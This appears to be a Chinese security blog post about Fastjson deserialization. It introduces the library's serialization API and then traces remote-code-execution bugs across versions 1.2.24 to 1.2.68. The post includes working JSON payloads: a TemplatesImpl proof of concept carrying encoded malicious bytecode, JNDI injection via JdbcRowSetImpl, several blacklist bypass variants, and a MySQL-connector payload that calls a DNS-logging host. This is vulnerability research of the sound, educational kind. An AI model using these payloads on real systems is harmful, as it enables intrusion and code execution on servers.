fastjaon 反序列化
fastjson 简介
Fastjson 是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
使用 demo
一、将类转换为 json
这里一般用的函数就是 JSON.toJSONString()
,该方法有若干重载方法,带有不同的参数,其中常用的包括以下几个:
-
序列化特性:
com.alibaba.fastjson.serializer.SerializerFeature
,可以通过设置多个特性到FastjsonConfig
中全局使用,也可以在使用具体方法中指定特性。如SerializerFeature.WriteClassName
当这个特性被启用,JSON 数据中将嵌入该对象的类的全名。 -
序列化过滤器:
com.alibaba.fastjson.serializer.SerializeFilter
,这是一个接口,通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化。 -
序列化时的配置:
com.alibaba.fastjson.serializer.SerializeConfig
,可以添加特点类型自定义的序列化配置。
二、将 json 反序列化为 java 类
将 json 数据反序列化时常使用的方法为parse()
、parseObject()
、parseArray()
,这三个方法也均包含若干重载方法,带有不同参数:
-
反序列化特性:
com.alibaba.fastjson.parser.Feature
, -
类的类型:
java.lang.reflect.Type
,用来执行反序列化类的类型。 -
处理泛型反序列化:
com.alibaba.fastjson.TypeReference
。 -
编程扩展定制反序列化:
com.alibaba.fastjson.parser.deserializer.ParseProcess
,例如ExtraProcessor
用于处理多余的字段,ExtraTypeProvider
用于处理多余字段时提供类型信息。
三、demo
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Main {
public static void main(String[] args) {
user user = new user("Bob", "123.com");
//序列化方式--指定类和不指定类
String json1 = JSON.toJSONString(user);
System.out.println(json1);
String json2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(json2);
//反序列化
//默认解析为JSONObject
System.out.println(JSON.parse(json1));
System.out.println(JSON.parse(json1).getClass().getName());
//依据序列化中的@type进行自动反序列化成目标对象类型
ParserConfig.getGlobalInstance().addAccept("org.example.user");//默认的auto是关闭的,这里加入白名单,版本低就不存在
System.out.println(JSON.parse(json2));
System.out.println(JSON.parse(json2).getClass().getName());
//手动指定type,反序列化成目标对象类型
System.out.println(JSON.parseObject(json1, user.class));
System.out.println(JSON.parseObject(json1, user.class).getClass().getName());
}
}
结果
总结:使用JSON.toJSONString进行序列化时,可以设置是否将对象的类型也作为序列化的内容。当对字符串进行反序列化操作时,如果序列化字符串中有@type则会按照该类型进行反序列化操作,而如果没有该属性,则默认都返回JSONObject对象(一种字典类型数据存储)。当没有@type,但又想反序列化成指定的类对象时,需要通过JSON.parseObject()同时传入该类的class对象,才能反序列成指定的对象。
注意:反序列化的对象必须具有默认的 无参构造器
和 get|set
方法,反序列化的底层实现就是通过 无参构造器
和 get|set
方法进行的
补充
一、fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,
其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get
开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
、此属性没有 setter 方法。
setter 方法需满足条件:方法名长于 4,以 set
开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()
中。
二、使用 JSON.parseObject(jsonString)
将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
三、如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField
参数。
四、fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
方法,会忽略 _|-
字符串,也就是说哪怕你的字段名叫 _a_g_e_
,getter 方法为 getAge()
,fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _
和 -
进行组合混淆。
五、fastjson 在反序列化时,如果 Field 类型为 byte[]
,将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue
进行 base64 解码,对应的,在序列化时也会进行 base64 编码。
过程调试
序列化
把指定类的名字写入到序列化数据中,执行写操作时,JSONSerializer会依据config,进行序列化操作。
反序列化
自动反序列化和指定类进行反序列化调用链后面基本是一样的。只是指定了 class 就不用去从 type 获得了,而自动反序列化是通过 loadclass 来获取的 class。
然后调用 deserialze 进行反序列化,这里不知道为什么跟不进去了,其实应该就是在这里面调用的 setter 和 getter 方法进行赋值,也可以直接看调用栈。
漏洞点其实就是在进行反序列化的时候会调用 getter 和 setter 方法,并且构造函数会调用。
漏洞分析
fastjson-1.2.24
在这个版本中有两条链子。
TemplatesImpl 反序列化
TemplatesImpl
的恶意 getter 方法就在熟悉不过了,调用后可以动态加载恶意字节码。
gadget
getOutputProperties
newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()
poc
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class exp1 {
public static void main(String[] args)throws Exception {
String jsonInput = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"yv66vgAAADQAGQEABmdhb3JlbgcAAQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAMBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACAEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAoACwoACQAMAQAEY2FsYwgADgEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABAAEQoACQASAQAGPGluaXQ+DAAUAAYKAAQAFQEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAY\"],\n" +
" \"_name\": \"gaoren\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSON.parseObject(jsonInput, Feature.SupportNonPublicField);
}
}
其中设置 Feature.SupportNonPublicField
是由于部分需要我们更改的私有变量没有 setter 方法。
具体分析见下面番外
JdbcRowSetImpl 反序列化
简单介绍一下这个类:JdbcRowSetImpl
类位于 com.sun.rowset.JdbcRowSetImpl
,这条漏洞利用链比较好理解,是 javax.naming.InitialContext#lookup()
参数可控导致的 JNDI 注入。
在其 setAutoCommit 方法中,看到在 this.conn
为空时,将会调用 this.connect()
方法。
跟进,看到会调用 lookup 方法,而this.getDataSourceName()
可控
直接参考 JNDI 注入,构造 poc
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/hello","autoCommit":true}
这里注意一点,jdk版本需要满足 8u161 < jdk < 8u191
fastjson-1.2.25
1.2.25 <= fastjson <= 1.2.41
在此版本中,官方新加了黑白名单,在 ParserConfig
中可以看到黑名单的内容。而且设置了一个 autoTypeSupport
用来控制是否可以反序列化,autoTypeSupport
默认为 false
且禁止反序列化,为true时会使用 checkAutoType
来进行安全检测
添加白名单的 3 种情况
1. 使用代码进行添加:`ParserConfig.getGlobalInstance().addAccept(“org.su18.fastjson.,org.javaweb.”)`
2. 加上JVM启动参数:`-Dfastjson.parser.autoTypeAccept=org.su18.fastjson.`
3. 在fastjson.properties中添加:`fastjson.parser.autoTypeAccept=org.su18.fastjson.`
接着来看一下checkAutoType
怎么进行拦截的,在autoTypeSupport
开启的情况下先通过白名单进行判断,如果符合的话就进入TypeUtils.loadClass
,然后在通过黑名单进行判断,如果在黑名单中就直接抛出异常
接着继续往下看,从 Mapping
中寻找类没有就继续从 deserializers
中寻找类,然后如果autoTypeSupport
没有开启的情况下,会对指定的@type
类进行黑白名单判断,然后抛出异常,最后如果autoTypeSupport
开启的情况下,会再一次进行判断然后进入到TypeUtils.loadClass
中
跟进到 TypeUtils.loadClass
中,看见这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [
、L
、;
字符
所以这里可以在恶意类前面加上 L 等字符绕过黑名单然后再 loadclass 时被处理掉,所以构造
{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/hello\",\"autoCommit\":true}
这样就绕过 checkAutoType
函数然后返回 class 进行反序列化,最后弹出计算机
fastjson-1.2.42
1.2.25 <= fastjson <= 1.2.42
在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
同样黑名单在 com.alibaba.fastjson.parser.ParserConfig
中,只不过黑名单中的类全部换为了 hash 值。
并且在 checkAutoType 中加入判断,如果类的第一个字符是 L
结尾是 ;
,则使用 substring进行了去除(hash 写的)。
很显然直接双写绕过即可
{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/hello\",\"autoCommit\":true}
fastjson-1.2.43
1.2.25 <= fastjson <= 1.2.43
这个版本主要是修复上一个版本中双写绕过的问题。可以看到用来检查的 checkAutoType
代码添加了判断,如果类名连续出现了两个 L
将会抛出异常,
这个绕过也很荣容易,利用 [
进行黑名单即可
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"rmi://127.0.0.1:1099/hello",
"autoCommit":true
}
fastjson-1.2.44
影响版本:1.2.25 <= fastjson <= 1.2.44
这个版本主要是修复上一个版本中使用 [
绕过黑名单防护的问题。
可以看到在 checkAutoType
中添加了新的判断,如果类名以 [
开始则直接抛出异常。
fastjson-1.2.45
影响版本:1.2.25 <= fastjson <= 1.2.45
在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。
但是说实话这个需要依赖,感觉利用面不大
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.7</version>
</dependency>
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"rmi://127.0.0.1:1099/hello"
}
}
弹出计算机
fastjson-1.2.47
在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
影响版本:1.2.25 <= fastjson <= 1.2.47
同样跟进到函数 checkAutoType()
中, autoTypeSupport
为 true 时,代码会进行黑名单判断,但是看到还有一个条件才会抛出异常,就是从 Mapping
中寻找类为 null ,如果不存在才会抛出错误,
不抛出异常就继续向下走,
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
显然这里执行了后 clazz 就不为 null 了,不为 null 后返回 clazz,成功过了 checkautoType,然后进行反序列化
这是让 autoTypeSupport
为 true 时的过程,要是 autoTypeSupport
不为 true,那也不影响,直接就会跳过判断到
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
不为 null 同样返回 clazz,这里就成了利用点。现在就是需要知道怎么使得 TypeUtils.getClassFromMapping(typeName);
返回有值了。
发现在 ParserConfig
类初始化时会执行 initDeserializers
方法,会向 deserializers
中添加许多的类,其中会添加这么一个类 this.deserializers.put(Class.class, MiscCodec.instance);
进入到 MiscCodec
类中,有这么一个方法 deserialze
,在方法内会对 clazz
进行判断,当类为 Class.class
也就是 java.lang.Class
类时,会进入到 TypeUtils.loadClass
中,而在进行 json 反序列化时会调用这个方法,
在TypeUtils.loadClass
中,如果cache
为true则会将className
放到mapping
中,其中cache
默认为true,className
为传进来的strVal
在 deserialze
中,strVal
由 objVal
强制转换而来 strVal = (String)objVal
,
而objVal
是在parser.parse()
中截取而来,且参数名必须为val
,否则会抛出异常,也就是说可以通过反序列化往mapping
中添加任何类,这样的话添加com.sun.rowset.JdbcRowSetImpl
类,从而绕过autoTypeSupport
的和黑名单的限制,然后再次传递json去触发JdbcRowSetImpl
的JNDI注入
pyaload
{
"111": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"222": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/hello",
"autoCommit": true
}
}
fastjson-1.2.68
在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec
处理 Class 类的地方,设置了cache 为 false ,并且 loadClass
重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。
影响版本:fastjson <= 1.2.68
在此版本中新增了一个 safeMode
功能,如果开启的话,将会直接抛出异常,完全杜绝了 autoTypeSupport
的绕过,于此同时还曝出了在不开启 safeMode
的前提下,对 autoTypeSupport
的绕过。
在 checkAutoType()
函数中有这样的逻辑:如果函数有 expectClass
入参,且我们传入的类名是 expectClass
的子类或实现,并且不在黑名单中,就可以通过 checkAutoType()
的安全检测。
流程图
现在需要找到满足条件的类
- 继承于java.lang.AutoCloseabl或java.util.BitSet
- 不在fastjson的黑名单类中
- 其父类和父类接口不在黑名单中
并且还需要其构造方法,setter,getter 能实现 rce,看师傅们写的继承于 java.lang.AutoCloseable 的类能够导致的漏洞:
payload
{"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo":"127.0.0.1",
"portToConnectTo":3306,
"url":"jdbc:mysql://127.0.0.1:3306/test? autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo":"test",
"info": {"@type":"java.util.Properties",
"PORT":"3306",
"statementInterceptors":"com.mysql.jdbc.interceptors.Serve rStatusDiffInterceptor",
"autoDeserialize":"true",
"user":"yso_URLDNS_http://apwaty.dnslog.cn",
"PORT.1": "3306",
"HOST.1":"127.0.0.1",
"NUM_HOSTS":"1",
"HOST":"127.0.0.1",
"DBNAME":"test"}}
}
参考:https://www.javasec.org/java-vuls/FastJson.html
参考:https://tttang.com/archive/1579/
标签:fastjson,1.2,黑名单,JSON,序列化,com From: https://www.cnblogs.com/gaorenyusi/p/18435525